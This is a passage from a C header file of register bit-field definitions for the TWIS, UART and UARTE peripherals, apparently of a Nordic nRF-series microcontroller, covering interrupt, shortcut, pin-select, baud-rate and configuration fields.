#define TWIS_PSEL_SDA_PIN_Pos (0UL) /*!< Position of PIN field. */
#define TWIS_PSEL_SDA_PIN_Msk (0x1FUL << TWIS_PSEL_SDA_PIN_Pos) /*!< Bit mask of PIN field. */
/* Register: TWIS_RXD_PTR */
/* Description: RXD Data pointer */
/* Bits 31..0 : RXD Data pointer */
#define TWIS_RXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define TWIS_RXD_PTR_PTR_Msk (0xFFFFFFFFUL << TWIS_RXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: TWIS_RXD_MAXCNT */
/* Description: Maximum number of bytes in RXD buffer */
/* Bits 7..0 : Maximum number of bytes in RXD buffer */
#define TWIS_RXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define TWIS_RXD_MAXCNT_MAXCNT_Msk (0xFFUL << TWIS_RXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: TWIS_RXD_AMOUNT */
/* Description: Number of bytes transferred in the last RXD transaction */
/* Bits 7..0 : Number of bytes transferred in the last RXD transaction */
#define TWIS_RXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define TWIS_RXD_AMOUNT_AMOUNT_Msk (0xFFUL << TWIS_RXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: TWIS_TXD_PTR */
/* Description: TXD Data pointer */
/* Bits 31..0 : TXD Data pointer */
#define TWIS_TXD_PTR_PTR_Pos (0UL) /*!< Position of PTR field. */
#define TWIS_TXD_PTR_PTR_Msk (0xFFFFFFFFUL << TWIS_TXD_PTR_PTR_Pos) /*!< Bit mask of PTR field. */
/* Register: TWIS_TXD_MAXCNT */
/* Description: Maximum number of bytes in TXD buffer */
/* Bits 7..0 : Maximum number of bytes in TXD buffer */
#define TWIS_TXD_MAXCNT_MAXCNT_Pos (0UL) /*!< Position of MAXCNT field. */
#define TWIS_TXD_MAXCNT_MAXCNT_Msk (0xFFUL << TWIS_TXD_MAXCNT_MAXCNT_Pos) /*!< Bit mask of MAXCNT field. */
/* Register: TWIS_TXD_AMOUNT */
/* Description: Number of bytes transferred in the last TXD transaction */
/* Bits 7..0 : Number of bytes transferred in the last TXD transaction */
#define TWIS_TXD_AMOUNT_AMOUNT_Pos (0UL) /*!< Position of AMOUNT field. */
#define TWIS_TXD_AMOUNT_AMOUNT_Msk (0xFFUL << TWIS_TXD_AMOUNT_AMOUNT_Pos) /*!< Bit mask of AMOUNT field. */
/* Register: TWIS_ADDRESS */
/* Description: Description collection[0]: TWI slave address 0 */
/* Bits 6..0 : TWI slave address */
#define TWIS_ADDRESS_ADDRESS_Pos (0UL) /*!< Position of ADDRESS field. */
#define TWIS_ADDRESS_ADDRESS_Msk (0x7FUL << TWIS_ADDRESS_ADDRESS_Pos) /*!< Bit mask of ADDRESS field. */
/* Register: TWIS_CONFIG */
/* Description: Configuration register for the address match mechanism */
/* Bit 1 : Enable or disable address matching on ADDRESS[1] */
#define TWIS_CONFIG_ADDRESS1_Pos (1UL) /*!< Position of ADDRESS1 field. */
#define TWIS_CONFIG_ADDRESS1_Msk (0x1UL << TWIS_CONFIG_ADDRESS1_Pos) /*!< Bit mask of ADDRESS1 field. */
#define TWIS_CONFIG_ADDRESS1_Disabled (0UL) /*!< Disabled */
#define TWIS_CONFIG_ADDRESS1_Enabled (1UL) /*!< Enabled */
/* Bit 0 : Enable or disable address matching on ADDRESS[0] */
#define TWIS_CONFIG_ADDRESS0_Pos (0UL) /*!< Position of ADDRESS0 field. */
#define TWIS_CONFIG_ADDRESS0_Msk (0x1UL << TWIS_CONFIG_ADDRESS0_Pos) /*!< Bit mask of ADDRESS0 field. */
#define TWIS_CONFIG_ADDRESS0_Disabled (0UL) /*!< Disabled */
#define TWIS_CONFIG_ADDRESS0_Enabled (1UL) /*!< Enabled */
/* Register: TWIS_ORC */
/* Description: Over-read character. Character sent out in case of an over-read of the transmit buffer. */
/* Bits 7..0 : Over-read character. Character sent out in case of an over-read of the transmit buffer. */
#define TWIS_ORC_ORC_Pos (0UL) /*!< Position of ORC field. */
#define TWIS_ORC_ORC_Msk (0xFFUL << TWIS_ORC_ORC_Pos) /*!< Bit mask of ORC field. */
/* Peripheral: UART */
/* Description: Universal Asynchronous Receiver/Transmitter */
/* Register: UART_SHORTS */
/* Description: Shortcut register */
/* Bit 4 : Shortcut between NCTS event and STOPRX task */
#define UART_SHORTS_NCTS_STOPRX_Pos (4UL) /*!< Position of NCTS_STOPRX field. */
#define UART_SHORTS_NCTS_STOPRX_Msk (0x1UL << UART_SHORTS_NCTS_STOPRX_Pos) /*!< Bit mask of NCTS_STOPRX field. */
#define UART_SHORTS_NCTS_STOPRX_Disabled (0UL) /*!< Disable shortcut */
#define UART_SHORTS_NCTS_STOPRX_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between CTS event and STARTRX task */
#define UART_SHORTS_CTS_STARTRX_Pos (3UL) /*!< Position of CTS_STARTRX field. */
#define UART_SHORTS_CTS_STARTRX_Msk (0x1UL << UART_SHORTS_CTS_STARTRX_Pos) /*!< Bit mask of CTS_STARTRX field. */
#define UART_SHORTS_CTS_STARTRX_Disabled (0UL) /*!< Disable shortcut */
#define UART_SHORTS_CTS_STARTRX_Enabled (1UL) /*!< Enable shortcut */
/* Register: UART_INTENSET */
/* Description: Enable interrupt */
/* Bit 17 : Write '1' to Enable interrupt for RXTO event */
#define UART_INTENSET_RXTO_Pos (17UL) /*!< Position of RXTO field. */
#define UART_INTENSET_RXTO_Msk (0x1UL << UART_INTENSET_RXTO_Pos) /*!< Bit mask of RXTO field. */
#define UART_INTENSET_RXTO_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_RXTO_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_RXTO_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for ERROR event */
#define UART_INTENSET_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define UART_INTENSET_ERROR_Msk (0x1UL << UART_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define UART_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for TXDRDY event */
#define UART_INTENSET_TXDRDY_Pos (7UL) /*!< Position of TXDRDY field. */
#define UART_INTENSET_TXDRDY_Msk (0x1UL << UART_INTENSET_TXDRDY_Pos) /*!< Bit mask of TXDRDY field. */
#define UART_INTENSET_TXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_TXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_TXDRDY_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for RXDRDY event */
#define UART_INTENSET_RXDRDY_Pos (2UL) /*!< Position of RXDRDY field. */
#define UART_INTENSET_RXDRDY_Msk (0x1UL << UART_INTENSET_RXDRDY_Pos) /*!< Bit mask of RXDRDY field. */
#define UART_INTENSET_RXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_RXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_RXDRDY_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for NCTS event */
#define UART_INTENSET_NCTS_Pos (1UL) /*!< Position of NCTS field. */
#define UART_INTENSET_NCTS_Msk (0x1UL << UART_INTENSET_NCTS_Pos) /*!< Bit mask of NCTS field. */
#define UART_INTENSET_NCTS_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_NCTS_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_NCTS_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for CTS event */
#define UART_INTENSET_CTS_Pos (0UL) /*!< Position of CTS field. */
#define UART_INTENSET_CTS_Msk (0x1UL << UART_INTENSET_CTS_Pos) /*!< Bit mask of CTS field. */
#define UART_INTENSET_CTS_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENSET_CTS_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENSET_CTS_Set (1UL) /*!< Enable */
/* Register: UART_INTENCLR */
/* Description: Disable interrupt */
/* Bit 17 : Write '1' to Disable interrupt for RXTO event */
#define UART_INTENCLR_RXTO_Pos (17UL) /*!< Position of RXTO field. */
#define UART_INTENCLR_RXTO_Msk (0x1UL << UART_INTENCLR_RXTO_Pos) /*!< Bit mask of RXTO field. */
#define UART_INTENCLR_RXTO_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_RXTO_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_RXTO_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for ERROR event */
#define UART_INTENCLR_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define UART_INTENCLR_ERROR_Msk (0x1UL << UART_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define UART_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for TXDRDY event */
#define UART_INTENCLR_TXDRDY_Pos (7UL) /*!< Position of TXDRDY field. */
#define UART_INTENCLR_TXDRDY_Msk (0x1UL << UART_INTENCLR_TXDRDY_Pos) /*!< Bit mask of TXDRDY field. */
#define UART_INTENCLR_TXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_TXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_TXDRDY_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for RXDRDY event */
#define UART_INTENCLR_RXDRDY_Pos (2UL) /*!< Position of RXDRDY field. */
#define UART_INTENCLR_RXDRDY_Msk (0x1UL << UART_INTENCLR_RXDRDY_Pos) /*!< Bit mask of RXDRDY field. */
#define UART_INTENCLR_RXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_RXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_RXDRDY_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for NCTS event */
#define UART_INTENCLR_NCTS_Pos (1UL) /*!< Position of NCTS field. */
#define UART_INTENCLR_NCTS_Msk (0x1UL << UART_INTENCLR_NCTS_Pos) /*!< Bit mask of NCTS field. */
#define UART_INTENCLR_NCTS_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_NCTS_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_NCTS_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for CTS event */
#define UART_INTENCLR_CTS_Pos (0UL) /*!< Position of CTS field. */
#define UART_INTENCLR_CTS_Msk (0x1UL << UART_INTENCLR_CTS_Pos) /*!< Bit mask of CTS field. */
#define UART_INTENCLR_CTS_Disabled (0UL) /*!< Read: Disabled */
#define UART_INTENCLR_CTS_Enabled (1UL) /*!< Read: Enabled */
#define UART_INTENCLR_CTS_Clear (1UL) /*!< Disable */
/* Register: UART_ERRORSRC */
/* Description: Error source */
/* Bit 3 : Break condition */
#define UART_ERRORSRC_BREAK_Pos (3UL) /*!< Position of BREAK field. */
#define UART_ERRORSRC_BREAK_Msk (0x1UL << UART_ERRORSRC_BREAK_Pos) /*!< Bit mask of BREAK field. */
#define UART_ERRORSRC_BREAK_NotPresent (0UL) /*!< Read: error not present */
#define UART_ERRORSRC_BREAK_Present (1UL) /*!< Read: error present */
/* Bit 2 : Framing error occurred */
#define UART_ERRORSRC_FRAMING_Pos (2UL) /*!< Position of FRAMING field. */
#define UART_ERRORSRC_FRAMING_Msk (0x1UL << UART_ERRORSRC_FRAMING_Pos) /*!< Bit mask of FRAMING field. */
#define UART_ERRORSRC_FRAMING_NotPresent (0UL) /*!< Read: error not present */
#define UART_ERRORSRC_FRAMING_Present (1UL) /*!< Read: error present */
/* Bit 1 : Parity error */
#define UART_ERRORSRC_PARITY_Pos (1UL) /*!< Position of PARITY field. */
#define UART_ERRORSRC_PARITY_Msk (0x1UL << UART_ERRORSRC_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define UART_ERRORSRC_PARITY_NotPresent (0UL) /*!< Read: error not present */
#define UART_ERRORSRC_PARITY_Present (1UL) /*!< Read: error present */
/* Bit 0 : Overrun error */
#define UART_ERRORSRC_OVERRUN_Pos (0UL) /*!< Position of OVERRUN field. */
#define UART_ERRORSRC_OVERRUN_Msk (0x1UL << UART_ERRORSRC_OVERRUN_Pos) /*!< Bit mask of OVERRUN field. */
#define UART_ERRORSRC_OVERRUN_NotPresent (0UL) /*!< Read: error not present */
#define UART_ERRORSRC_OVERRUN_Present (1UL) /*!< Read: error present */
/* Register: UART_ENABLE */
/* Description: Enable UART */
/* Bits 3..0 : Enable or disable UART */
#define UART_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define UART_ENABLE_ENABLE_Msk (0xFUL << UART_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define UART_ENABLE_ENABLE_Disabled (0UL) /*!< Disable UART */
#define UART_ENABLE_ENABLE_Enabled (4UL) /*!< Enable UART */
/* Register: UART_PSELRTS */
/* Description: Pin select for RTS */
/* Bits 31..0 : Pin number configuration for UART RTS signal */
#define UART_PSELRTS_PSELRTS_Pos (0UL) /*!< Position of PSELRTS field. */
#define UART_PSELRTS_PSELRTS_Msk (0xFFFFFFFFUL << UART_PSELRTS_PSELRTS_Pos) /*!< Bit mask of PSELRTS field. */
#define UART_PSELRTS_PSELRTS_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: UART_PSELTXD */
/* Description: Pin select for TXD */
/* Bits 31..0 : Pin number configuration for UART TXD signal */
#define UART_PSELTXD_PSELTXD_Pos (0UL) /*!< Position of PSELTXD field. */
#define UART_PSELTXD_PSELTXD_Msk (0xFFFFFFFFUL << UART_PSELTXD_PSELTXD_Pos) /*!< Bit mask of PSELTXD field. */
#define UART_PSELTXD_PSELTXD_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: UART_PSELCTS */
/* Description: Pin select for CTS */
/* Bits 31..0 : Pin number configuration for UART CTS signal */
#define UART_PSELCTS_PSELCTS_Pos (0UL) /*!< Position of PSELCTS field. */
#define UART_PSELCTS_PSELCTS_Msk (0xFFFFFFFFUL << UART_PSELCTS_PSELCTS_Pos) /*!< Bit mask of PSELCTS field. */
#define UART_PSELCTS_PSELCTS_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: UART_PSELRXD */
/* Description: Pin select for RXD */
/* Bits 31..0 : Pin number configuration for UART RXD signal */
#define UART_PSELRXD_PSELRXD_Pos (0UL) /*!< Position of PSELRXD field. */
#define UART_PSELRXD_PSELRXD_Msk (0xFFFFFFFFUL << UART_PSELRXD_PSELRXD_Pos) /*!< Bit mask of PSELRXD field. */
#define UART_PSELRXD_PSELRXD_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: UART_RXD */
/* Description: RXD register */
/* Bits 7..0 : RX data received in previous transfers, double buffered */
#define UART_RXD_RXD_Pos (0UL) /*!< Position of RXD field. */
#define UART_RXD_RXD_Msk (0xFFUL << UART_RXD_RXD_Pos) /*!< Bit mask of RXD field. */
/* Register: UART_TXD */
/* Description: TXD register */
/* Bits 7..0 : TX data to be transferred */
#define UART_TXD_TXD_Pos (0UL) /*!< Position of TXD field. */
#define UART_TXD_TXD_Msk (0xFFUL << UART_TXD_TXD_Pos) /*!< Bit mask of TXD field. */
/* Register: UART_BAUDRATE */
/* Description: Baud rate */
/* Bits 31..0 : Baud rate */
#define UART_BAUDRATE_BAUDRATE_Pos (0UL) /*!< Position of BAUDRATE field. */
#define UART_BAUDRATE_BAUDRATE_Msk (0xFFFFFFFFUL << UART_BAUDRATE_BAUDRATE_Pos) /*!< Bit mask of BAUDRATE field. */
#define UART_BAUDRATE_BAUDRATE_Baud1200 (0x0004F000UL) /*!< 1200 baud (actual rate: 1205) */
#define UART_BAUDRATE_BAUDRATE_Baud2400 (0x0009D000UL) /*!< 2400 baud (actual rate: 2396) */
#define UART_BAUDRATE_BAUDRATE_Baud4800 (0x0013B000UL) /*!< 4800 baud (actual rate: 4808) */
#define UART_BAUDRATE_BAUDRATE_Baud9600 (0x00275000UL) /*!< 9600 baud (actual rate: 9598) */
#define UART_BAUDRATE_BAUDRATE_Baud14400 (0x003B0000UL) /*!< 14400 baud (actual rate: 14414) */
#define UART_BAUDRATE_BAUDRATE_Baud19200 (0x004EA000UL) /*!< 19200 baud (actual rate: 19208) */
#define UART_BAUDRATE_BAUDRATE_Baud28800 (0x0075F000UL) /*!< 28800 baud (actual rate: 28829) */
#define UART_BAUDRATE_BAUDRATE_Baud38400 (0x009D5000UL) /*!< 38400 baud (actual rate: 38462) */
#define UART_BAUDRATE_BAUDRATE_Baud57600 (0x00EBF000UL) /*!< 57600 baud (actual rate: 57762) */
#define UART_BAUDRATE_BAUDRATE_Baud76800 (0x013A9000UL) /*!< 76800 baud (actual rate: 76923) */
#define UART_BAUDRATE_BAUDRATE_Baud115200 (0x01D7E000UL) /*!< 115200 baud (actual rate: 115942) */
#define UART_BAUDRATE_BAUDRATE_Baud230400 (0x03AFB000UL) /*!< 230400 baud (actual rate: 231884) */
#define UART_BAUDRATE_BAUDRATE_Baud250000 (0x04000000UL) /*!< 250000 baud */
#define UART_BAUDRATE_BAUDRATE_Baud460800 (0x075F7000UL) /*!< 460800 baud (actual rate: 470588) */
#define UART_BAUDRATE_BAUDRATE_Baud921600 (0x0EBED000UL) /*!< 921600 baud (actual rate: 941176) */
#define UART_BAUDRATE_BAUDRATE_Baud1M (0x10000000UL) /*!< 1Mega baud */
/* Register: UART_CONFIG */
/* Description: Configuration of parity and hardware flow control */
/* Bits 3..1 : Parity */
#define UART_CONFIG_PARITY_Pos (1UL) /*!< Position of PARITY field. */
#define UART_CONFIG_PARITY_Msk (0x7UL << UART_CONFIG_PARITY_Pos) /*!< Bit mask of PARITY field. */
#define UART_CONFIG_PARITY_Excluded (0x0UL) /*!< Exclude parity bit */
#define UART_CONFIG_PARITY_Included (0x7UL) /*!< Include parity bit */
/* Bit 0 : Hardware flow control */
#define UART_CONFIG_HWFC_Pos (0UL) /*!< Position of HWFC field. */
#define UART_CONFIG_HWFC_Msk (0x1UL << UART_CONFIG_HWFC_Pos) /*!< Bit mask of HWFC field. */
#define UART_CONFIG_HWFC_Disabled (0UL) /*!< Disabled */
#define UART_CONFIG_HWFC_Enabled (1UL) /*!< Enabled */
/* Peripheral: UARTE */
/* Description: UART with EasyDMA */
/* Register: UARTE_SHORTS */
/* Description: Shortcut register */
/* Bit 6 : Shortcut between ENDRX event and STOPRX task */
#define UARTE_SHORTS_ENDRX_STOPRX_Pos (6UL) /*!< Position of ENDRX_STOPRX field. */
#define UARTE_SHORTS_ENDRX_STOPRX_Msk (0x1UL << UARTE_SHORTS_ENDRX_STOPRX_Pos) /*!< Bit mask of ENDRX_STOPRX field. */
#define UARTE_SHORTS_ENDRX_STOPRX_Disabled (0UL) /*!< Disable shortcut */
#define UARTE_SHORTS_ENDRX_STOPRX_Enabled (1UL) /*!< Enable shortcut */
/* Bit 5 : Shortcut between ENDRX event and STARTRX task */
#define UARTE_SHORTS_ENDRX_STARTRX_Pos (5UL) /*!< Position of ENDRX_STARTRX field. */
#define UARTE_SHORTS_ENDRX_STARTRX_Msk (0x1UL << UARTE_SHORTS_ENDRX_STARTRX_Pos) /*!< Bit mask of ENDRX_STARTRX field. */
#define UARTE_SHORTS_ENDRX_STARTRX_Disabled (0UL) /*!< Disable shortcut */
#define UARTE_SHORTS_ENDRX_STARTRX_Enabled (1UL) /*!< Enable shortcut */
/* Register: UARTE_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 22 : Enable or disable interrupt for TXSTOPPED event */
#define UARTE_INTEN_TXSTOPPED_Pos (22UL) /*!< Position of TXSTOPPED field. */
#define UARTE_INTEN_TXSTOPPED_Msk (0x1UL << UARTE_INTEN_TXSTOPPED_Pos) /*!< Bit mask of TXSTOPPED field. */
#define UARTE_INTEN_TXSTOPPED_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_TXSTOPPED_Enabled (1UL) /*!< Enable */
/* Bit 20 : Enable or disable interrupt for TXSTARTED event */
#define UARTE_INTEN_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define UARTE_INTEN_TXSTARTED_Msk (0x1UL << UARTE_INTEN_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define UARTE_INTEN_TXSTARTED_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_TXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 19 : Enable or disable interrupt for RXSTARTED event */
#define UARTE_INTEN_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define UARTE_INTEN_RXSTARTED_Msk (0x1UL << UARTE_INTEN_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define UARTE_INTEN_RXSTARTED_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_RXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 17 : Enable or disable interrupt for RXTO event */
#define UARTE_INTEN_RXTO_Pos (17UL) /*!< Position of RXTO field. */
#define UARTE_INTEN_RXTO_Msk (0x1UL << UARTE_INTEN_RXTO_Pos) /*!< Bit mask of RXTO field. */
#define UARTE_INTEN_RXTO_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_RXTO_Enabled (1UL) /*!< Enable */
/* Bit 9 : Enable or disable interrupt for ERROR event */
#define UARTE_INTEN_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define UARTE_INTEN_ERROR_Msk (0x1UL << UARTE_INTEN_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define UARTE_INTEN_ERROR_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_ERROR_Enabled (1UL) /*!< Enable */
/* Bit 8 : Enable or disable interrupt for ENDTX event */
#define UARTE_INTEN_ENDTX_Pos (8UL) /*!< Position of ENDTX field. */
#define UARTE_INTEN_ENDTX_Msk (0x1UL << UARTE_INTEN_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define UARTE_INTEN_ENDTX_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_ENDTX_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable interrupt for TXDRDY event */
#define UARTE_INTEN_TXDRDY_Pos (7UL) /*!< Position of TXDRDY field. */
#define UARTE_INTEN_TXDRDY_Msk (0x1UL << UARTE_INTEN_TXDRDY_Pos) /*!< Bit mask of TXDRDY field. */
#define UARTE_INTEN_TXDRDY_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_TXDRDY_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for ENDRX event */
#define UARTE_INTEN_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define UARTE_INTEN_ENDRX_Msk (0x1UL << UARTE_INTEN_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define UARTE_INTEN_ENDRX_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_ENDRX_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for RXDRDY event */
#define UARTE_INTEN_RXDRDY_Pos (2UL) /*!< Position of RXDRDY field. */
#define UARTE_INTEN_RXDRDY_Msk (0x1UL << UARTE_INTEN_RXDRDY_Pos) /*!< Bit mask of RXDRDY field. */
#define UARTE_INTEN_RXDRDY_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_RXDRDY_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for NCTS event */
#define UARTE_INTEN_NCTS_Pos (1UL) /*!< Position of NCTS field. */
#define UARTE_INTEN_NCTS_Msk (0x1UL << UARTE_INTEN_NCTS_Pos) /*!< Bit mask of NCTS field. */
#define UARTE_INTEN_NCTS_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_NCTS_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for CTS event */
#define UARTE_INTEN_CTS_Pos (0UL) /*!< Position of CTS field. */
#define UARTE_INTEN_CTS_Msk (0x1UL << UARTE_INTEN_CTS_Pos) /*!< Bit mask of CTS field. */
#define UARTE_INTEN_CTS_Disabled (0UL) /*!< Disable */
#define UARTE_INTEN_CTS_Enabled (1UL) /*!< Enable */
/* Register: UARTE_INTENSET */
/* Description: Enable interrupt */
/* Bit 22 : Write '1' to Enable interrupt for TXSTOPPED event */
#define UARTE_INTENSET_TXSTOPPED_Pos (22UL) /*!< Position of TXSTOPPED field. */
#define UARTE_INTENSET_TXSTOPPED_Msk (0x1UL << UARTE_INTENSET_TXSTOPPED_Pos) /*!< Bit mask of TXSTOPPED field. */
#define UARTE_INTENSET_TXSTOPPED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_TXSTOPPED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_TXSTOPPED_Set (1UL) /*!< Enable */
/* Bit 20 : Write '1' to Enable interrupt for TXSTARTED event */
#define UARTE_INTENSET_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define UARTE_INTENSET_TXSTARTED_Msk (0x1UL << UARTE_INTENSET_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define UARTE_INTENSET_TXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_TXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_TXSTARTED_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for RXSTARTED event */
#define UARTE_INTENSET_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define UARTE_INTENSET_RXSTARTED_Msk (0x1UL << UARTE_INTENSET_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define UARTE_INTENSET_RXSTARTED_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_RXSTARTED_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_RXSTARTED_Set (1UL) /*!< Enable */
/* Bit 17 : Write '1' to Enable interrupt for RXTO event */
#define UARTE_INTENSET_RXTO_Pos (17UL) /*!< Position of RXTO field. */
#define UARTE_INTENSET_RXTO_Msk (0x1UL << UARTE_INTENSET_RXTO_Pos) /*!< Bit mask of RXTO field. */
#define UARTE_INTENSET_RXTO_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_RXTO_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_RXTO_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for ERROR event */
#define UARTE_INTENSET_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define UARTE_INTENSET_ERROR_Msk (0x1UL << UARTE_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define UARTE_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 8 : Write '1' to Enable interrupt for ENDTX event */
#define UARTE_INTENSET_ENDTX_Pos (8UL) /*!< Position of ENDTX field. */
#define UARTE_INTENSET_ENDTX_Msk (0x1UL << UARTE_INTENSET_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define UARTE_INTENSET_ENDTX_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_ENDTX_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_ENDTX_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for TXDRDY event */
#define UARTE_INTENSET_TXDRDY_Pos (7UL) /*!< Position of TXDRDY field. */
#define UARTE_INTENSET_TXDRDY_Msk (0x1UL << UARTE_INTENSET_TXDRDY_Pos) /*!< Bit mask of TXDRDY field. */
#define UARTE_INTENSET_TXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_TXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_TXDRDY_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for ENDRX event */
#define UARTE_INTENSET_ENDRX_Pos (4UL) /*!< Position of ENDRX field. */
#define UARTE_INTENSET_ENDRX_Msk (0x1UL << UARTE_INTENSET_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define UARTE_INTENSET_ENDRX_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_ENDRX_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_ENDRX_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for RXDRDY event */
#define UARTE_INTENSET_RXDRDY_Pos (2UL) /*!< Position of RXDRDY field. */
#define UARTE_INTENSET_RXDRDY_Msk (0x1UL << UARTE_INTENSET_RXDRDY_Pos) /*!< Bit mask of RXDRDY field. */
#define UARTE_INTENSET_RXDRDY_Disabled (0UL) /*!< Read: Disabled */
#define UARTE_INTENSET_RXDRDY_Enabled (1UL) /*!< Read: Enabled */
#define UARTE_INTENSET_RXDRDY_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for NCTS event */
#define UARTE_INTENSET_NCTS_Pos (1UL) /*!< Position of NCTS field. */
